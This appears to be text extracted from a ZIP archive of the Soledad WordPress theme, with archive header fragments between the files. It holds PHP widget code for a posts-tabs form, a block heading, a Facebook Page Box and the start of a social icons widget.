                <select id="<?php echo esc_attr( $this->get_field_id( 'tabs_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'tabs_style' ) ); ?>">
					<?php
					foreach ( $list_style as $value => $name ) {
						echo '<option value="' . $value . '" ' . selected( $value, $tabs_style ) . '>' . $name . '</option>';
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'popular_order' ) ); ?>"><?php esc_html_e( 'Popular tab order:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'popular_order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'popular_order' ) ); ?>">
                    <option value="all" <?php if ( 'all' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>All Time
                    </option>
                    <option value="week" <?php if ( 'week' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>Once Weekly
                    </option>
                    <option value="month" <?php if ( 'month' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>Once a Month
                    </option>
                    <option value="comments" <?php if ( 'comments' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>Comments
                    </option>
					<?php if ( ! empty( penci_jetpack_option() ) ): ?>
                        <option value='jetpack' <?php if ( 'jetpack' == $instance['type'] ) {
							echo 'selected="selected"';
						} ?>>Once a Month
                        </option>
					<?php endif; ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'disable_popular' ) ); ?>"><?php esc_html_e( 'Disable Popular Posts Tab ?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'disable_popular' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'disable_popular' ) ); ?>" <?php checked( (bool) $instance['disable_popular'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'disable_recent' ) ); ?>"><?php esc_html_e( 'Disable Recent Posts Tab ?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'disable_recent' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'disable_recent' ) ); ?>" <?php checked( (bool) $instance['disable_recent'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'disable_comments' ) ); ?>"><?php esc_html_e( 'Disable Comments Tab ?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'disable_comments' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'disable_comments' ) ); ?>" <?php checked( (bool) $instance['disable_comments'], true ); ?> />
            </p>

            <p>
                <strong>Post Listing Options</strong>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Number of comments -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number_comments' ) ); ?>"><?php esc_html_e( 'Number of comments to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'number_comments' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number_comments' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number_comments'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"><?php esc_html_e( 'Hide thumbnail(Featured Image)?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_thumb' ) ); ?>" <?php checked( (bool) $instance['hide_thumb'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Hide Order Numbers -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"><?php esc_html_e( 'Hide Order Numbers?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum' ) ); ?>" <?php checked( (bool) $instance['ordernum'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"><?php esc_html_e( 'Order Numbers Style', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ordernum_style' ) ); ?>"
                        class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Style 1", 'soledad' ); ?></option>
                    <option value='2' <?php if ( '2' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 2', 'soledad' ); ?></option>
                    <option value='3' <?php if ( '3' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 3', 'soledad' ); ?></option>
                    <option value='4' <?php if ( '4' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 4', 'soledad' ); ?></option>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum_recent' ) ); ?>"><?php esc_html_e( 'Hide Order Numbers on Recent Tab Only?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum_recent' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum_recent' ) ); ?>" <?php checked( (bool) $instance['ordernum_recent'], true ); ?> />
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Hide post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"><?php esc_html_e( 'Custom Image Width ( Default: 120 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgwidth'] ); ?>" size="3"/>
                <span class="description"
                      style="display: block; padding: 0;font-size: 12px;"><?php esc_html_e( 'This option doesn\'t apply for featured posts. It should be between 80 to 200.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"><?php esc_html_e( 'Font Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptorn' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptorn'] ); ?>" size="3"/>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"><?php esc_html_e( 'Box Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'oboxsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['oboxsize'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\?      inc/widgets/block_heading.phpnu [        <?php
/**
 * Block widget heading title
 * Display the widget heading title follow the styles from the theme
 *
 * @package Wordpress
 * @since   7.9
 */

add_action( 'widgets_init', 'penci_block_heading_load_widget' );

function penci_block_heading_load_widget() {
	register_widget( 'penci_block_heading_widget' );
}

if ( ! class_exists( 'penci_block_heading_widget' ) ) {
	class penci_block_heading_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_block_heading_widget',
				'description' => esc_html__( 'A widget that displays the widget heading follow the styles from the theme. It helps if you\'re using Widget Blocks Editor from WordPress version 5.8', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_block_heading_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_block_heading_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Block Heading', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_block_heading_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Block Heading', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo '<h3 class="widget-title penci-border-arrow"><span class="inner-arrow">' . $title . '</span></h3>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title' => 'Example Title' );

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <!-- Widget Title: Text Input -->

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\@!  !    inc/widgets/facebook_widget.phpnu [        <?php
/**
 * Facebook page box widget
 * Display facebook page box on your website
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_facebook_load_widget' );

function penci_facebook_load_widget() {
	register_widget( 'penci_facebook_widget' );
}

if ( ! class_exists( 'penci_facebook_widget' ) ) {
	class penci_facebook_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_facebook_widget',
				'description' => esc_html__( 'A widget will displays a Facebook Page', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_facebook_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_facebook_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Facebook Page Box', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_facebook_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Facebook Page Box', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$page_url = isset( $instance['page_url'] ) ? $instance['page_url'] : '';
			$height   = isset( $instance['height'] ) ? $instance['height'] : '';
			$faces    = isset( $instance['faces'] ) ? $instance['faces'] : '';
			$stream   = isset( $instance['stream'] ) ? $instance['stream'] : '';
			$cover    = isset( $instance['cover'] ) ? $instance['cover'] : '';
			$language = isset( $instance['language'] ) ? $instance['language'] : '';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			$lang = $language ? $language : get_locale();
			if ( $page_url ) {
				?>
                <div id="fb-root"></div>
                <script data-cfasync="false">(function (d, s, id) {
                        var js, fjs = d.getElementsByTagName(s)[0];
                        if (d.getElementById(id)) return;
                        js = d.createElement(s);
                        js.id = id;
                        js.src = "//connect.facebook.net/<?php echo esc_attr( $lang )?>/sdk.js#xfbml=1&version=v9.0";
                        fjs.parentNode.insertBefore(js, fjs);
                    }(document, 'script', 'facebook-jssdk'));</script>
                <div class="fb-page"
                     data-href="<?php echo esc_url( $page_url ); ?>"<?php if ( $stream && is_numeric( $height ) && $height > 69 ): ?> data-height="<?php echo absint( $height ); ?>"<?php endif; ?>
                     data-small-header="false" data-hide-cover="<?php if ( $cover ) {
					echo 'true';
				} else {
					echo 'false';
				} ?>" data-show-facepile="<?php if ( $faces ) {
					echo 'true';
				} else {
					echo 'false';
				} ?>" data-show-posts="<?php if ( $stream ) {
					echo 'true';
				} else {
					echo 'false';
				} ?>" data-adapt-container-width="true">
                    <div class="fb-xfbml-parse-ignore"><a
                                href="<?php echo esc_attr( $page_url ); ?>"><?php if ( $title ) {
								echo sanitize_text_field( $title );
							} else {
								echo 'Facebook';
							} ?></a></div>
                </div>
				<?php
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title'    => 'Follow Me',
			                   'cover'    => '',
			                   'language' => '',
			                   'faces'    => 'on',
			                   'page_url' => '',
			                   'height'   => '290',
			                   'stream'   => true
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'page_url' ) ); ?>"><?php esc_html_e( 'Facebook Page URL:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'page_url' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'page_url' ) ); ?>"
                       placeholder="EG. http://www.facebook.com/demo"
                       value="<?php echo esc_attr( $instance['page_url'] ); ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"><?php esc_html_e( 'Facebook Page Height:', 'soledad' ); ?></label>
                <small style="display: block; clear: both; padding-left: 0;"
                       class="description"><?php esc_html_e( 'This option is only applied when "Show Stream" option is checked', 'soledad' ); ?></small>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'height' ) ); ?>"
                       placeholder="min is 70. EG: 400" value="<?php echo absint( $instance['height'] ); ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cover' ) ); ?>"><?php esc_html_e( 'Hide Cover Photo?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'cover' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'cover' ) ); ?>" <?php checked( (bool) $instance['cover'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'faces' ) ); ?>"><?php esc_html_e( 'Show Faces:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'faces' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'faces' ) ); ?>" <?php checked( (bool) $instance['faces'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'stream' ) ); ?>"><?php esc_html_e( 'Show Stream:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'stream' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'stream' ) ); ?>" <?php checked( (bool) $instance['stream'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'language' ) ); ?>"><?php esc_html_e( 'Custom Language:', 'soledad' ); ?></label>
                <small style="display: block; clear: both; padding-left: 0;"
                       class="description"><?php _e( 'Fill the language code to use on Facebook Page Box here. By default, the language will follow the site language. See more <a href="https://developers.facebook.com/docs/internationalization/" target="_blank">here</a>', 'soledad' ); ?></small>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'language' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'language' ) ); ?>" placeholder="EG. de_DE"
                       value="<?php echo esc_attr( $instance['language'] ); ?>"/>
            </p>

			<?php
		}
	}
}

?>
PK     N\m  m    inc/widgets/social_widget.phpnu [        <?php
/**
 * Socials Widget
 * Get in touch with your clients
 *
 * @package WordPress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_social_load_widget' );

function penci_social_load_widget() {
	register_widget( 'penci_social_widget' );
}

if ( ! class_exists( 'penci_social_widget' ) ) {
	class penci_social_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_social_widget',
				'description' => esc_html__( 'A widget that displays your social icons', 'soledad' ),
			);

			/* Widget control settings. */
